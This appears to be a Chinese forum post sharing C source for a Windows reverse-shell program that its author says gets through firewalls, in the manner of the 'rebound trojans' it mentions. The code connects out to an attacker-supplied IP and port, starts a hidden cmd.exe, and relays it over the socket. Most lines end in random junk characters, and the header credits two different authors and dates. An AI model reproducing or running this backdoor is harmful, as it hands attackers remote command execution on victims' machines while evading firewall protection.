这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 z<MsKD0Q
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/* ============================== =O~_Q-
Rebound port in Windows NT " s,1%Ltt
By wind,2006/7 P9R9(quI
===============================*/
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#include ,V7nzhA2
#include wi!?BCseq
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#pragma comment(lib,"wsock32.lib") AzPu)
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void OutputShell(); pJ>P[
SOCKET sClient; F/]2G^-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (O\)_#-D
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void main(int argc,char **argv) % 7hrk
{ sWhZby7
WSADATA stWsaData; oe^ I
int nRet; HVRZ[Y<^
SOCKADDR_IN stSaiClient,stSaiServer; ~-k9%v`
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if(argc != 3) YqscZ(L:y
{ #`^}PuQ
printf("Useage:\n\rRebound DestIP DestPort\n"); ?d* z8w
return; /l3V3B7
} `>o{P/HN
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WSAStartup(MAKEWORD(2,2),&stWsaData); Q3'llOx
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 10Q ]67
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stSaiClient.sin_family = AF_INET; .xCZ1|+gG
stSaiClient.sin_port = htons(0); n9\TO9N
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }CSDV9).S
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v&\Q8!r_
{ phXGnm
printf("Bind Socket Failed!\n"); [g|_~h
return; r `=I
} L(6d&t'|-R
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stSaiServer.sin_family = AF_INET; |"}FXaO
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `v!urE/gg%
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "Fr.fhh'~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w{8xpAqm
{ M)Z7k/=<P
printf("Connect Error!"); fUWG*o9
return; LVM%"sd?
} |l^uEtG
OutputShell(); 8Al{+gx@?
} ;+R&}[9,A)
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void OutputShell() #lo6c;*m5
{ QE+g
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char szBuff[1024]; &J]K3w1p
SECURITY_ATTRIBUTES stSecurityAttributes; y-b%T|p9
OSVERSIONINFO stOsversionInfo; d'gfQlDny
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?=msH=N<l
STARTUPINFO stStartupInfo; Tk[ $5u*,
char *szShell; M]
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PROCESS_INFORMATION stProcessInformation; HyQJXw?A:
unsigned long lBytesRead; oCv.Ln1;Z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cl3K<'D
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <$$yw=ef
stSecurityAttributes.lpSecurityDescriptor = 0; ?p{Nwl#
stSecurityAttributes.bInheritHandle = TRUE; eQm1cgMdz
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \:'/'^=#|
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 558V_y:
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1=c\Rr9]
stStartupInfo.wShowWindow = SW_HIDE; f}ji?p
stStartupInfo.hStdInput = hReadPipe; #G|RnV%t$~
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `AtBtjs RV
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GetVersionEx(&stOsversionInfo); {6|G@""O
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switch(stOsversionInfo.dwPlatformId) R?|.pq/Ln
{ 10~k2{Z
case 1: 7IH@oMvE
szShell = "command.com"; ~
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break; \ZFGw&yN
default: Qj.#)R
szShell = "cmd.exe"; "Yv_B3p
break; qJs<#MQ2
} GW@;}m(
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hbDXo:
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send(sClient,szMsg,77,0); %P/Jq#FE.
while(1) 6Q@j
{ }5[qo`M
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (,Q7@s
if(lBytesRead) z&)A,ryW0
{ z"L/G
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qPK*%Q<;
send(sClient,szBuff,lBytesRead,0); ,j{,h_Op
} YeL#jtC
else t;Sb/ 3
{ )gIKH{JYL
lBytesRead=recv(sClient,szBuff,1024,0); =pO^7g
if(lBytesRead<=0) break; ~O0 $Suv
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }Yzco52
} ->-KCd1b
} *boR`[Ond
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return; =,=A,kI[;
}